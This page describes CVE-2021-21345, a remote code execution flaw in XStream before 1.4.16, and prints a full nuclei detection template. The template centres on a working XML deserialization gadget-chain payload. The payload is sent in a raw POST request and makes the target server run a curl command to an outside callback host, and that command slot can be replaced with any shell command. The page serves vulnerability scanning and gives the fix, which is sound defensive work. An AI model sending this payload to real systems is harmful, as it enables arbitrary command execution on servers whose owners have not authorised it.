XStream < 1.4.16 - Remote Code Execution

criticalseverity

9.9CVSS score

72.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.

How to confirm it

Send: POST /
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2021-21345 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-21345

info:
  name: XStream < 1.4.16 - Remote Code Execution
  author: pwnhxl,vicrack
  severity: critical
  description: |
    XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
  reference:
    - https://x-stream.github.io/CVE-2021-21345.html
    - http://x-stream.github.io/changes.html#1.4.16
    - https://github.com/x-stream/xstream/security/advisories/GHSA-hwpc-8xqv-jvj4
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21345
    - https://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd@%3Cusers.activemq.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-21345
    cwe-id: CWE-78,CWE-502
    epss-score: 0.72324
    epss-percentile: 0.99441
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,deserialization,rce,oast,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
                  <packet>
                    <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                      <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                        <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                          <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                            <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                              <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                              <uriProperties/>
                              <attributeProperties/>
                              <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                                <getter>
                                  <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                                  <name>verify</name>
                                  <parameter-types/>
                                </getter>
                              </inheritedAttWildcard>
                            </bi>
                            <tagName/>
                            <context>
                              <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                                <outer-class reference='../..'/>
                              </marshallerPool>
                              <nameList>
                                <nsUriCannotBeDefaulted>
                                  <boolean>true</boolean>
                                </nsUriCannotBeDefaulted>
                                <namespaceURIs>
                                  <string>1</string>
                                </namespaceURIs>
                                <localNames>
                                  <string>UTF-8</string>
                                </localNames>
                              </nameList>
                            </context>
                          </bridge>
                        </bridge>
                        <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                          <activationCmd>curl http://{{interactsh-url}}</activationCmd>
                        </jaxbObject>
                      </dataSource>
                    </message>
                    <satellites/>
                    <invocationProperties/>
                  </packet>
                </indexMap>
              </comparator>
            </default>
            <int>3</int>
            <string>javax.xml.ws.binding.attachments.inbound</string>
            <string>javax.xml.ws.binding.attachments.inbound</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from